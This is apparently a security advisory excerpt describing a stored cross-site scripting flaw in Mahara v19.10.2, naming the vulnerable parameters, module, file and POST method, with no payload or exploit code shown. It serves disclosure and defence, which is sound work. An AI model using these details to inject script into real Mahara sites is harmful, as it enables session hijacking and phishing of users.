Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in
the official Mahara v19.10.2 CMS web-application series.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise browser
to web-application requests from the application-side.

The persistent vulnerability is located in the `nombre` and
`descripción` parameters of the `Ficheros` module in the
`groupfiles.php` file.
Remote attackers with low privileges are able to inject own malicious
persistent script code as files and foldernames. The injected code can
be used to attack the frontend or backend of the web-application. The
request method to inject is POST and the attack vector is located on
the application-side. Files are able to be reviewed in the backend by
higher privileged accounts and can be shared.

Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent external redirects to
malicious source and persistent manipulation of affected application
modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Ficheros (Files Manager)

Vulnerable Input(s):
[+] Crear Carpeta

Vulnerable File(s):
[+] groupfiles.php
